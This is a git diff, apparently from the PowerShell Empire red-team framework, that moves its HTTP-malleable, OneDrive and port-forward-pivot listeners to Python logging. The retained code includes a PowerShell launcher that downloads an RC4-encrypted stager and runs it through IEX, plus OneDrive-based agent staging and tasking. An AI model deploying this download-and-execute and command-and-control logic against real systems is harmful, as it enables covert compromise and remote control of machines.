- message = "[!] /{} requested by {} with no routing packet.".format(
- request_uri, clientIP
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal,
- sender="listeners/http_malleable/{}".format(listenerName),
- )
+ message = f"/{request_uri} requested by {clientIP} with no routing packet."
+ self.instance_log.error(message)
else:
# log invalid uri
- message = "[!] unknown uri /{} requested by {}.".format(
- request_uri, clientIP
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal,
- sender="listeners/http_malleable/{}".format(listenerName),
- )
+ message = f"{listenerName}: unknown uri /{request_uri} requested by {clientIP}."
+ self.instance_log.warning(message)
except malleable.MalleableError as e:
# probably an issue with the malleable library, please report it :)
- message = "[!] Malleable had trouble handling a request for /{} by {}: {}.".format(
- request_uri, clientIP, str(e)
- )
- signal = json.dumps({"print": True, "message": message})
+ message = f"{listenerName}: Malleable had trouble handling a request for /{request_uri} by {clientIP}: {str(e)}."
+ self.instance_log.error(message, exc_info=True)
+ log.error(message, exc_info=True)
return Response(self.default_response(), 200)
@@ -1808,11 +1672,7 @@ def handle_request(request_uri="", tempListenerOptions=None):
if host.startswith("https"):
if certPath.strip() == "" or not os.path.isdir(certPath):
- print(
- helpers.color(
- "[!] Unable to find certpath %s, using default." % certPath
- )
- )
+ log.info(f"Unable to find certpath {certPath}, using default.")
certPath = "setup"
certPath = os.path.abspath(certPath)
pyversion = sys.version_info
@@ -1838,25 +1698,19 @@ def handle_request(request_uri="", tempListenerOptions=None):
else:
app.run(host=bindIP, port=int(port), threaded=True)
except Exception as e:
- print(
- helpers.color(
- "[!] Listener startup on port %s failed - %s: %s"
- % (port, e.__class__.__name__, str(e))
- )
- )
- message = "[!] Listener startup on port {} failed - {}: {}".format(
- port, e.__class__.__name__, str(e)
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal, sender="listeners/http_malleable/{}".format(listenerName)
- )
+ message = f"Listener startup on port {port} failed - {e.__class__.__name__}: {str(e)}"
+ self.instance_log.error(message, exc_info=True)
+ log.error(message, exc_info=True)
def start(self, name=""):
"""
Start a threaded instance of self.start_server() and store it in
the self.threads dictionary keyed by the listener name.
"""
+ self.instance_log = log_util.get_listener_logger(
+ LOG_NAME_PREFIX, self.options["Name"]["Value"]
+ )
+
listenerOptions = self.options
if name and name != "":
self.threads[name] = helpers.KThread(
@@ -1881,14 +1735,11 @@ def shutdown(self, name=""):
Terminates the server thread stored in the self.threads dictionary,
keyed by the listener name.
"""
-
if name and name != "":
- print(helpers.color("[!] Killing listener '%s'" % (name)))
- self.threads[name].kill()
+ to_kill = name
else:
- print(
- helpers.color(
- "[!] Killing listener '%s'" % (self.options["Name"]["Value"])
- )
- )
- self.threads[self.options["Name"]["Value"]].kill()
+ to_kill = self.options["Name"]["Value"]
+
+ self.instance_log.info(f"{to_kill}: shutting down...")
+ log.info(f"{to_kill}: shutting down...")
+ self.threads[to_kill].kill()
diff --git a/empire/server/listeners/onedrive.py b/empire/server/listeners/onedrive.py
index 6c943284a..3ae26f128 100755
--- a/empire/server/listeners/onedrive.py
+++ b/empire/server/listeners/onedrive.py
@@ -1,27 +1,35 @@
-from __future__ import print_function
-
import base64
import copy
-import json
+import logging
import os
import re
import time
-import traceback
from builtins import object, str
-from typing import List
+from typing import List, Optional, Tuple
-from pydispatch import dispatcher
from requests import Request, Session
from empire.server.common import encryption, helpers, templating
-from empire.server.utils import data_util, listener_util
+from empire.server.common.empire import MainMenu
+from empire.server.core.db.base import SessionLocal
+from empire.server.utils import data_util, listener_util, log_util
+from empire.server.utils.module_util import handle_validate_message
+
+LOG_NAME_PREFIX = __name__
+log = logging.getLogger(__name__)
class Listener(object):
- def __init__(self, mainMenu, params=[]):
+ def __init__(self, mainMenu: MainMenu, params=[]):
self.info = {
"Name": "Onedrive",
- "Author": ["@mr64bit"],
+ "Authors": [
+ {
+ "Name": "",
+ "Handle": "@mr64bit",
+ "Link": "",
+ }
+ ],
"Description": (
"Starts a Onedrive listener. Setup instructions here: gist.github.com/mr64bit/3fd8f321717c9a6423f7949d494b6cd9"
),
@@ -29,6 +37,9 @@ def __init__(self, mainMenu, params=[]):
"Comments": [
"Note that deleting STAGE0-PS.txt from the staging folder will break existing launchers"
],
+ "Software": "",
+ "Techniques": [],
+ "Tactics": [],
}
self.options = {
@@ -49,7 +60,7 @@ def __init__(self, mainMenu, params=[]):
},
"AuthCode": {
"Description": "Auth code given after authenticating OAuth App.",
- "Required": True,
+ "Required": False,
"Value": "",
},
"BaseFolder": {
@@ -134,6 +145,8 @@ def __init__(self, mainMenu, params=[]):
},
}
+ self.stager_url = ""
+
self.mainMenu = mainMenu
self.threads = {}
@@ -141,11 +154,12 @@ def __init__(self, mainMenu, params=[]):
data_util.get_config("staging_key")[0]
)
+ self.instance_log = log
+
def default_response(self):
return ""
- def validate_options(self):
-
+ def validate_options(self) -> Tuple[bool, Optional[str]]:
self.uris = [
a.strip("/")
for a in self.options["DefaultProfile"]["Value"].split("|")[0].split(",")
@@ -156,8 +170,9 @@ def validate_options(self):
str(self.options["AuthCode"]["Value"]).strip() == ""
):
if str(self.options["ClientID"]["Value"]).strip() == "":
- print(helpers.color("[!] ClientID needed to generate AuthCode URL!"))
- return "[!] ClientID needed to generate AuthCode URL!"
+ return handle_validate_message(
+ "[!] ClientID needed to generate AuthCode URL!"
+ )
params = {
"client_id": str(self.options["ClientID"]["Value"]).strip(),
"response_type": "code",
@@ -170,28 +185,18 @@ def validate_options(self):
params=params,
)
prep = req.prepare()
- print(
- helpers.color(
- '[*] Get your AuthCode from "%s" and try starting the listener again.'
- % prep.url
- )
+ # TODO Do we need to differentiate between the two-step creation message and an error?
+ return handle_validate_message(
+ f'[*] Get your AuthCode from "{prep.url}" and try starting the listener again.'
)
- return f'[*] Get your AuthCode from "{prep.url}" and try starting the listener again.'
- for key in self.options:
- if self.options[key]["Required"] and (
- str(self.options[key]["Value"]).strip() == ""
- ):
- print(helpers.color('[!] Option "%s" is required.' % (key)))
- return '[!] Option "%s" is required.' % (key)
-
- return True
+ return True, None
def generate_launcher(
self,
encode=True,
obfuscate=False,
- obfuscationCommand="",
+ obfuscation_command="",
userAgent="default",
proxy="default",
proxyCreds="default",
@@ -204,29 +209,21 @@ def generate_launcher(
bypasses = [] if bypasses is None else bypasses
if not language:
- print(
- helpers.color(
- "[!] listeners/onedrive generate_launcher(): No language specified"
- )
- )
+ log.error("listeners/onedrive generate_launcher(): No language specified")
+ return None
+ # Previously, we had to do a lookup for the listener and check through threads on the instance.
+ # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified
+ # further, but for now keeping as is since 5.0 has enough rewrites as it is.
if (
- listenerName
- and (listenerName in self.threads)
- and (listenerName in self.mainMenu.listeners.activeListeners)
- ):
- listener_options = self.mainMenu.listeners.activeListeners[listenerName][
- "options"
- ]
- staging_key = listener_options["StagingKey"]["Value"]
- profile = listener_options["DefaultProfile"]["Value"]
+ True
+ ): # The true check is just here to keep the indentation consistent with the old code.
+ active_listener = self
+ # extract the set options for this instantiated listener
+ listener_options = active_listener.options
+
launcher_cmd = listener_options["Launcher"]["Value"]
staging_key = listener_options["StagingKey"]["Value"]
- poll_interval = listener_options["PollInterval"]["Value"]
- base_folder = listener_options["BaseFolder"]["Value"].strip("/")
- staging_folder = listener_options["StagingFolder"]["Value"]
- taskings_folder = listener_options["TaskingsFolder"]["Value"]
- results_folder = listener_options["ResultsFolder"]["Value"]
if language.startswith("power"):
launcher = "$ErrorActionPreference = 'SilentlyContinue';" # Set as empty string for debugging
@@ -283,7 +280,7 @@ def generate_launcher(
# this is the minimized RC4 launcher code from rc4.ps1
launcher += listener_util.powershell_rc4()
- launcher += f"$data=$wc.DownloadData('{ self.mainMenu.listeners.activeListeners[listenerName]['stager_url'] }');"
+ launcher += f"$data=$wc.DownloadData('{self.stager_url}');"
launcher += "$iv=$data[0..3];$data=$data[4..$data.length];"
launcher += "-join[Char[]](& $R $data ($IV+$K))|IEX"
@@ -292,34 +289,24 @@ def generate_launcher(
launcher = data_util.ps_convert_to_oneliner(launcher)
if obfuscate:
- launcher = data_util.obfuscate(
- self.mainMenu.installPath,
+ launcher = self.mainMenu.obfuscationv2.obfuscate(
launcher,
- obfuscationCommand=obfuscationCommand,
+ obfuscation_command=obfuscation_command,
)
if encode and (
- (not obfuscate) or ("launcher" not in obfuscationCommand.lower())
+ (not obfuscate) or ("launcher" not in obfuscation_command.lower())
):
return helpers.powershell_launcher(launcher, launcher_cmd)
else:
return launcher
if language.startswith("pyth"):
- print(
- helpers.color(
- "[!] listeners/onedrive generate_launcher(): Python agent not implemented yet"
- )
+ log.error(
+ "listeners/onedrive generate_launcher(): Python agent not implemented yet"
)
return "Python not implemented yet"
- else:
- print(
- helpers.color(
- "[!] listeners/onedrive generate_launcher(): invalid listener name"
- )
- )
-
def generate_stager(
self, listenerOptions, encode=False, encrypt=True, language=None, token=None
):
@@ -328,11 +315,7 @@ def generate_stager(
"""
if not language:
- print(
- helpers.color(
- "[!] listeners/onedrive generate_stager(): no language specified"
- )
- )
+ log.error("listeners/onedrive generate_stager(): no language specified")
return None
client_id = listenerOptions["ClientID"]["Value"]
@@ -367,15 +350,13 @@ def generate_stager(
"base_folder": base_folder,
"results_folder": results_folder,
"poll_interval": str(agent_delay),
- "redirect_uri": redirect_uri,
- "base_folder": base_folder,
"staging_folder": staging_folder,
"taskings_folder": taskings_folder,
}
stager = template.render(template_options)
# Get the random function name generated at install and patch the stager with the proper function name
- stager = data_util.keyword_obfuscation(stager)
+ stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager)
unobfuscated_stager = listener_util.remove_lines_comments(stager)
if encode:
@@ -390,7 +371,7 @@ def generate_stager(
return unobfuscated_stager
else:
- print(helpers.color("[!] Python agent not available for Onedrive"))
+ log.error("Python agent not available for Onedrive")
def generate_comms(
self,
@@ -435,17 +416,11 @@ def generate_comms(
return comms
else:
- print(
- helpers.color(
- "[!] listeners/onedrive generate_comms(): invalid language specification, only 'powershell' is currently supported for this module."
- )
+ log.error(
+ "listeners/onedrive generate_comms(): invalid language specification, only 'powershell' is currently supported for this module."
)
else:
- print(
- helpers.color(
- "[!] listeners/onedrive generate_comms(): no language specified!"
- )
- )
+ log.error("listeners/onedrive generate_comms(): no language specified!")
def generate_agent(
self,
@@ -463,11 +438,7 @@ def generate_agent(
"""
if not language:
- print(
- helpers.color(
- "[!] listeners/onedrive generate_agent(): No language specified"
- )
- )
+ log.error("listeners/onedrive generate_agent(): No language specified")
return
language = language.lower()
@@ -475,7 +446,6 @@ def generate_agent(
jitter = listener_options["DefaultJitter"]["Value"]
profile = listener_options["DefaultProfile"]["Value"]
lost_limit = listener_options["DefaultLostLimit"]["Value"]
- working_hours = listener_options["WorkingHours"]["Value"]
kill_date = listener_options["KillDate"]["Value"]
b64_default_response = base64.b64encode(self.default_response().encode("UTF-8"))
@@ -484,7 +454,7 @@ def generate_agent(
agent_code = f.read()
f.close()
- agent_code = data_util.keyword_obfuscation(agent_code)
+ agent_code = self.mainMenu.obfuscationv2.obfuscate_keywords(agent_code)
agent_code = helpers.strip_powershell_comments(agent_code)
@@ -516,6 +486,9 @@ def generate_agent(
return agent_code
def start_server(self, listenerOptions):
+ self.instance_log = log_util.get_listener_logger(
+ LOG_NAME_PREFIX, self.options["Name"]["Value"]
+ )
# Utility functions to handle auth tasks and initial setup
def get_token(client_id, client_secret, code):
@@ -536,16 +509,10 @@ def get_token(client_id, client_secret, code):
r_token["expires_at"] = time.time() + (int)(r_token["expires_in"]) - 15
r_token["update"] = True
return r_token
- except KeyError as e:
- print(
- helpers.color(
- "[!] Something went wrong, HTTP response %d, error code %s: %s"
- % (
- r.status_code,
- r.json()["error_codes"],
- r.json()["error_description"],
- )
- )
+ except KeyError:
+ log.error(
+ f"{listener_name} Something went wrong, HTTP response {r.status_code:d}, error code {r.json()['error_codes']}: {r.json()['error_description']}",
+ exc_info=True,
)
raise
@@ -567,16 +534,10 @@ def renew_token(client_id, client_secret, refresh_token):
r_token["expires_at"] = time.time() + (int)(r_token["expires_in"]) - 15
r_token["update"] = True
return r_token
- except KeyError as e:
- print(
- helpers.color(
- "[!] Something went wrong, HTTP response %d, error code %s: %s"
- % (
- r.status_code,
- r.json()["error_codes"],
- r.json()["error_description"],
- )
- )
+ except KeyError:
+ log.error(
+ f"{listener_name}: Something went wrong, HTTP response {r.status_code:d}, error code {r.json()['error_codes']}: {r.json()['error_description']}",
+ exc_info=True,
)
raise
@@ -594,7 +555,9 @@ def setup_folders():
base_object = s.get("%s/drive/root:/%s" % (base_url, base_folder))
if not (base_object.status_code == 200):
- print(helpers.color("[*] Creating %s folder" % base_folder))
+ self.instance_log.info(
+ f"{listener_name}: Creating {base_folder} folder"
+ )
params = {
"@microsoft.graph.conflictBehavior": "rename",
"folder": {},
@@ -604,19 +567,17 @@ def setup_folders():
"%s/drive/items/root/children" % base_url, json=params
)
else:
- message = "[*] {} folder already exists".format(base_folder)
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal, sender="listeners/onedrive/{}".format(listener_name)
- )
+ message = f"{listener_name}: {base_folder} folder already exists"
+ self.instance_log.info(message)
+ log.info(message)
for item in [staging_folder, taskings_folder, results_folder]:
item_object = s.get(
"%s/drive/root:/%s/%s" % (base_url, base_folder, item)
)
if not (item_object.status_code == 200):
- print(
- helpers.color("[*] Creating %s/%s folder" % (base_folder, item))
+ self.instance_log.info(
+ f"{listener_name}: Creating {base_folder}/{item} folder"
)
params = {
"@microsoft.graph.conflictBehavior": "rename",
@@ -629,11 +590,9 @@ def setup_folders():
json=params,
)
else:
- message = "[*] {}/{} already exists".format(base_folder, item)
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal, sender="listeners/onedrive/{}".format(listener_name)
- )
+ message = f"{listener_name}: {base_folder}/{item} already exists"
+ self.instance_log.info(message)
+ log.info(message)
def upload_launcher():
ps_launcher = self.mainMenu.stagers.generate_launcher(
@@ -659,7 +618,7 @@ def upload_launcher():
json={"scope": "anonymous", "type": "view"},
headers={"Content-Type": "application/json"},
)
- launcher_url = (
+ _launcher_url = (
"https://api.onedrive.com/v1.0/shares/%s/driveitem/content"
% r.json()["shareId"]
)
@@ -688,17 +647,11 @@ def upload_stager():
% r.json()["shareId"]
)
# Different domain for some reason?
- self.mainMenu.listeners.activeListeners[listener_name][
- "stager_url"
- ] = stager_url
+ self.stager_url = stager_url
else:
- print(helpers.color("[!] Something went wrong uploading stager"))
- message = r.content
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal, sender="listeners/onedrive/{}".format(listener_name)
- )
+ message = f"{listener_name}: Something went wrong uploading stager. {r.content}"
+ self.instance_log.error(message)
listener_options = copy.deepcopy(listenerOptions)
@@ -720,21 +673,19 @@ def upload_stager():
if refresh_token:
token = renew_token(client_id, client_secret, refresh_token)
- message = "[*] Refreshed auth token"
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal, sender="listeners/onedrive/{}".format(listener_name)
- )
+ message = f"{listener_name}: Refreshed auth token"
+ self.instance_log.info(message)
else:
try:
token = get_token(client_id, client_secret, auth_code)
- except:
- print(helpers.color("[!] Unable to retrieve OneDrive Token"))
+ except Exception:
+ self.instance_log.error(
+ f"{listener_name}: Unable to retrieve OneDrive Token"
+ )
return
- message = "[*] Got new auth token"
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="listeners/onedrive")
+ message = f"{listener_name} Got new auth token"
+ self.instance_log.info(message)
s.headers["Authorization"] = "Bearer " + token["access_token"]
@@ -743,9 +694,7 @@ def upload_stager():
while True:
# Wait until Empire is aware the listener is running, so we can save our refresh token and stager URL
try:
- if listener_name in list(
- self.mainMenu.listeners.activeListeners.keys()
- ):
+ if self.mainMenu.listenersv2.get_active_listener_by_name(listener_name):
upload_stager()
upload_launcher()
break
@@ -764,16 +713,17 @@ def upload_stager():
client_id, client_secret, token["refresh_token"]
)
s.headers["Authorization"] = "Bearer " + token["access_token"]
- message = "[*] Refreshed auth token"
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(
- signal, sender="listeners/onedrive/{}".format(listener_name)
- )
+ message = f"{listener_name} Refreshed auth token"
+ self.instance_log.info(message)
upload_stager()
if token["update"]:
- self.mainMenu.listeners.update_listener_options(
- listener_name, "RefreshToken", token["refresh_token"]
- )
+ with SessionLocal.begin() as db:
+ self.options["RefreshToken"]["Value"] = token["refresh_token"]
+ db_listener = self.mainMenu.listenersv2.get_by_name(
+ db, listener_name
+ )
+ db_listener.options = self.options
+
token["update"] = False
search = s.get(
@@ -789,57 +739,30 @@ def upload_stager():
continue
agent_name, stage = reg.groups()
if stage == "1": # Download stage 1, upload stage 2
- message = "[*] Downloading {}/{}/{} {}".format(
- base_folder, staging_folder, item["name"], item["size"]
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(
- signal,
- sender="listeners/onedrive/{}".format(listener_name),
- )
+ message = f"{listener_name}: Downloading {base_folder}/{staging_folder}/{item['name']} {item['size']}"
+ self.instance_log.info(message)
content = s.get(
item["@microsoft.graph.downloadUrl"]
).content
lang, return_val = self.mainMenu.agents.handle_agent_data(
staging_key, content, listener_options
)[0]
- message = "[*] Uploading {}/{}/{}_2.txt, {} bytes".format(
- base_folder,
- staging_folder,
- agent_name,
- str(len(return_val)),
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(
- signal,
- sender="listeners/onedrive/{}".format(listener_name),
- )
+ message = f"{listener_name}: Uploading {base_folder}/{staging_folder}/{agent_name}_2.txt, {str(len(return_val))} bytes"
+ self.instance_log.info(message)
s.put(
"%s/drive/root:/%s/%s/%s_2.txt:/content"
% (base_url, base_folder, staging_folder, agent_name),
data=return_val,
)
- message = "[*] Deleting {}/{}/{}".format(
- base_folder, staging_folder, item["name"]
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(
- signal,
- sender="listeners/onedrive/{}".format(listener_name),
- )
+ message = f"{listener_name} Deleting {base_folder}/{staging_folder}/{item['name']}"
+ self.instance_log.info(message)
s.delete("%s/drive/items/%s" % (base_url, item["id"]))
if (
stage == "3"
): # Download stage 3, upload stage 4 (full agent code)
- message = "[*] Downloading {}/{}/{}, {} bytes".format(
- base_folder, staging_folder, item["name"], item["size"]
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(
- signal,
- sender="listeners/onedrive/{}".format(listener_name),
- )
+ message = f"{listener_name}: Downloading {base_folder}/{staging_folder}/{item['name']}, {item['size']} bytes"
+ self.instance_log.info(message)
content = s.get(
item["@microsoft.graph.downloadUrl"]
).content
@@ -864,48 +787,28 @@ def upload_stager():
lang,
)
)
+
+ if lang.lower() in ["python", "ironpython"]:
+ session_key = bytes.fromhex(session_key)
+
enc_code = encryption.aes_encrypt_then_hmac(
session_key, agent_code
)
- message = "[*] Uploading {}/{}/{}_4.txt, {} bytes".format(
- base_folder,
- staging_folder,
- agent_name,
- str(len(enc_code)),
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(
- signal,
- sender="listeners/onedrive/{}".format(listener_name),
- )
+ message = f"{listener_name}: Uploading {base_folder}/{staging_folder}/{agent_name}_4.txt, {str(len(enc_code))} bytes"
+ self.instance_log.info(message)
s.put(
"%s/drive/root:/%s/%s/%s_4.txt:/content"
% (base_url, base_folder, staging_folder, agent_name),
data=enc_code,
)
- message = "[*] Deleting {}/{}/{}".format(
- base_folder, staging_folder, item["name"]
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(
- signal,
- sender="listeners/onedrive/{}".format(listener_name),
- )
+ message = f"{listener_name}: Deleting {base_folder}/{staging_folder}/{item['name']}"
+ self.instance_log.info(message)
s.delete("%s/drive/items/%s" % (base_url, item["id"]))
- except Exception as e:
- print(
- helpers.color(
- "[!] Could not handle agent staging for listener %s, continuing"
- % listener_name
- )
- )
- message = traceback.format_exc()
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(
- signal, sender="listeners/onedrive/{}".format(listener_name)
- )
+ except Exception:
+ message = f"{listener_name}: Could not handle agent staging, continuing"
+ self.instance_log.error(message, exc_info=True)
agent_ids = self.mainMenu.agents.get_agents_for_listener(listener_name)
@@ -926,16 +829,8 @@ def upload_stager():
): # If there's already something there, download and append the new data
task_data = r.content + task_data
- message = (
- "[*] Uploading agent tasks for {}, {} bytes".format(
- agent_id, str(len(task_data))
- )
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(
- signal,
- sender="listeners/onedrive/{}".format(listener_name),
- )
+ message = f"{listener_name}: Uploading agent tasks for {agent_id}, {str(len(task_data))} bytes"
+ self.instance_log.info(message)
r = s.put(
"%s/drive/root:/%s/%s/%s.txt:/content"
@@ -943,16 +838,8 @@ def upload_stager():
data=task_data,
)
except Exception as e:
- message = (
- "[!] Error uploading agent tasks for {}, {}".format(
- agent_id, e
- )
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(
- signal,
- sender="listeners/onedrive/{}".format(listener_name),
- )
+ message = f"{listener_name}: Error uploading agent tasks for {agent_id}, {e}"
+ self.instance_log.error(message, exc_info=True)
search = s.get(
"%s/drive/root:/%s/%s?expand=children"
@@ -968,13 +855,10 @@ def upload_stager():
agent_ids[i] = agent_ids[i].decode("UTF-8")
if (
- not agent_id in agent_ids
+ agent_id not in agent_ids
): # If we don't recognize that agent, upload a message to restage
- print(
- helpers.color(
- "[*] Invalid agent, deleting %s/%s and restaging"
- % (results_folder, item["name"])
- )
+ self.instance_log.info(
+ f"{listener_name}: Invalid agent, deleting {results_folder}/{item['name']} and restaging"
)
s.put(
"%s/drive/root:/%s/%s/%s.txt:/content"
@@ -988,16 +872,8 @@ def upload_stager():
# If the agent is just checking in, the file will only be 1 byte, so no results to fetch
if item["size"] > 1:
- message = (
- "[*] Downloading results from {}/{}, {} bytes".format(
- results_folder, item["name"], item["size"]
- )
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(
- signal,
- sender="listeners/onedrive/{}".format(listener_name),
- )
+ message = f"{listener_name}: Downloading results from {results_folder}/{item['name']}, {item['size']} bytes"
+ self.instance_log.info(message)
r = s.get(item["@microsoft.graph.downloadUrl"])
self.mainMenu.agents.handle_agent_data(
staging_key,
@@ -1005,36 +881,16 @@ def upload_stager():
listener_options,
update_lastseen=True,
)
- message = "[*] Deleting {}/{}".format(
- results_folder, item["name"]
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(
- signal,
- sender="listeners/onedrive/{}".format(listener_name),
- )
+ message = f"{listener_name}: Deleting {results_folder}/{item['name']}"
+ self.instance_log.info(message)
s.delete("%s/drive/items/%s" % (base_url, item["id"]))
except Exception as e:
- message = "[!] Error handling agent results for {}, {}".format(
- item["name"], e
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(
- signal, sender="listeners/onedrive/{}".format(listener_name)
- )
+ message = f"{listener_name}: Error handling agent results for {item['name']}, {e}"
+ self.instance_log.error(message, exc_info=True)
except Exception as e:
- print(
- helpers.color(
- "[!] Something happened in listener %s: %s, continuing"
- % (listener_name, e)
- )
- )
- message = traceback.format_exc()
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(
- signal, sender="listeners/onedrive/{}".format(listener_name)
- )
+ message = f"{listener_name}: Something happened in listener {listener_name}: {e}, continuing"
+ self.instance_log.error(message, exc_info=True)
s.close()
@@ -1067,14 +923,11 @@ def shutdown(self, name=""):
Terminates the server thread stored in the self.threads dictionary,
keyed by the listener name.
"""
-
if name and name != "":
- print(helpers.color("[!] Killing listener '%s'" % (name)))
- self.threads[name].kill()
+ to_kill = name
else:
- print(
- helpers.color(
- "[!] Killing listener '%s'" % (self.options["Name"]["Value"])
- )
- )
- self.threads[self.options["Name"]["Value"]].kill()
+ to_kill = self.options["Name"]["Value"]
+
+ self.instance_log.info(f"{to_kill}: shutting down...")
+ log.info(f"{to_kill}: shutting down...")
+ self.threads[to_kill].kill()
diff --git a/empire/server/listeners/redirector.py b/empire/server/listeners/port_forward_pivot.py
similarity index 71%
rename from empire/server/listeners/redirector.py
rename to empire/server/listeners/port_forward_pivot.py
index fc31cf034..e00129e02 100755
--- a/empire/server/listeners/redirector.py
+++ b/empire/server/listeners/port_forward_pivot.py
@@ -1,30 +1,40 @@
-from __future__ import print_function
-
import base64
import copy
+import logging
import os
import random
from builtins import object, str
-from typing import List
+from typing import List, Optional, Tuple
from empire.server.common import encryption, helpers, packets, templating
-from empire.server.database import models
-from empire.server.database.base import Session
+from empire.server.common.empire import MainMenu
+from empire.server.core.db.base import SessionLocal
from empire.server.utils import data_util, listener_util
+LOG_NAME_PREFIX = __name__
+log = logging.getLogger(__name__)
-class Listener(object):
- def __init__(self, mainMenu, params=[]):
+class Listener(object):
+ def __init__(self, mainMenu: MainMenu, params=[]):
self.info = {
- "Name": "redirector",
- "Author": ["@xorrior"],
+ "Name": "port_forward_pivot",
+ "Authors": [
+ {
+ "Name": "Chris Ross",
+ "Handle": "@xorrior",
+ "Link": "https://twitter.com/xorrior",
+ }
+ ],
"Description": (
"Internal redirector listener. Active agent required. Listener options will be copied from another existing agent. Requires the active agent to be in an elevated context."
),
# categories - client_server, peer_to_peer, broadcast, third_party
"Category": ("peer_to_peer"),
"Comments": [],
+ "Software": "",
+ "Techniques": [],
+ "Tactics": [],
}
# any options needed by the stager, settable during runtime
@@ -32,13 +42,18 @@ def __init__(self, mainMenu, params=[]):
# format:
# value_name : {description, required, default_value}
"Name": {
- "Description": "Listener name. This needs to be the name of the agent that will serve as the internal pivot",
+ "Description": "Name for the listener.",
+ "Required": True,
+ "Value": "port_forward_pivot",
+ },
+ "Agent": {
+ "Description": "Agent to run port forwards pivot on.",
"Required": True,
"Value": "",
},
"internalIP": {
- "Description": "Internal IP address of the agent. Yes, this could be pulled from the db but it becomes tedious when there is multiple addresses.",
- "Required": True,
+ "Description": "Uses internal IP of the agent by default.",
+ "Required": False,
"Value": "",
},
"ListenPort": {
@@ -46,51 +61,33 @@ def __init__(self, mainMenu, params=[]):
"Required": True,
"Value": 80,
},
- "Listener": {
- "Description": "Name of the listener to clone",
- "Required": True,
- "Value": "",
- },
}
# required:
self.mainMenu = mainMenu
self.threads = {} # used to keep track of any threaded instances of this server
- # optional/specific for this module
-
- # set the default staging key to the controller db default
- # self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
+ self.instance_log = log
def default_response(self):
"""
If there's a default response expected from the server that the client needs to ignore,
(i.e. a default HTTP page), put the generation here.
"""
- print(
- helpers.color("[!] default_response() not implemented for pivot listeners")
- )
+ self.instance_log.info("default_response() not implemented for pivot listeners")
return b""
- def validate_options(self):
+ def validate_options(self) -> Tuple[bool, Optional[str]]:
"""
Validate all options for this listener.
"""
-
- for key in self.options:
- if self.options[key]["Required"] and (
- str(self.options[key]["Value"]).strip() == ""
- ):
- print(helpers.color('[!] Option "%s" is required.' % (key)))
- return False
-
- return True
+ return True, None
def generate_launcher(
self,
encode=True,
obfuscate=False,
- obfuscationCommand="",
+ obfuscation_command="",
userAgent="default",
proxy="default",
proxyCreds="default",
@@ -106,19 +103,19 @@ def generate_launcher(
bypasses = [] if bypasses is None else bypasses
if not language:
- print(
- helpers.color(
- "[!] listeners/template generate_launcher(): no language specified!"
- )
- )
+ log.error("listeners/template generate_launcher(): no language specified!")
return None
- if listenerName and (listenerName in self.mainMenu.listeners.activeListeners):
-
+ # Previously, we had to do a lookup for the listener and check through threads on the instance.
+ # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified
+ # further, but for now keeping as is since 5.0 has enough rewrites as it is.
+ if (
+ True
+ ): # The true check is just here to keep the indentation consistent with the old code.
+ active_listener = self
# extract the set options for this instantiated listener
- listenerOptions = self.mainMenu.listeners.activeListeners[listenerName][
- "options"
- ]
+ listenerOptions = active_listener.options
+
host = listenerOptions["Host"]["Value"]
launcher = listenerOptions["Launcher"]["Value"]
stagingKey = listenerOptions["StagingKey"]["Value"]
@@ -150,7 +147,6 @@ def generate_launcher(
stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
if userAgent.lower() != "none" or proxy.lower() != "none":
-
if userAgent.lower() != "none":
stager += "$wc.Headers.Add('User-Agent',$u);"
@@ -250,14 +246,13 @@ def generate_launcher(
stager = data_util.ps_convert_to_oneliner(stager)
if obfuscate:
- stager = data_util.obfuscate(
- self.mainMenu.installPath,
+ stager = self.mainMenu.obfuscationv2.obfuscate(
stager,
- obfuscationCommand=obfuscationCommand,
+ obfuscation_command=obfuscation_command,
)
# base64 encode the stager and return it
if encode and (
- (not obfuscate) or ("launcher" not in obfuscationCommand.lower())
+ (not obfuscate) or ("launcher" not in obfuscation_command.lower())
):
return helpers.powershell_launcher(stager, launcher)
else:
@@ -276,8 +271,8 @@ def generate_launcher(
if safeChecks.lower() == "true":
launcherBase += listener_util.python_safe_checks()
except Exception as e:
- p = "[!] Error setting LittleSnitch in stager: " + str(e)
- print(helpers.color(p, color="red"))
+ p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}"
+ log.error(p, exc_info=True)
if userAgent.lower() == "default":
profile = listenerOptions["DefaultProfile"]["Value"]
@@ -394,9 +389,11 @@ def generate_launcher(
.replace("{{ REPLACE_LOSTLIMIT }}", str(lostLimit))
)
- compiler = self.mainMenu.loadedPlugins.get("csharpserver")
+ compiler = self.mainMenu.pluginsv2.get_by_id("csharpserver")
if not compiler.status == "ON":
- print(helpers.color("[!] csharpserver plugin not running"))
+ self.instance_log.error(
+ f"{listenerName} csharpserver plugin not running"
+ )
else:
file_name = compiler.do_send_stager(
stager_yaml, "Sharpire", confuse=obfuscate
@@ -404,26 +401,17 @@ def generate_launcher(
return file_name
else:
- print(
- helpers.color(
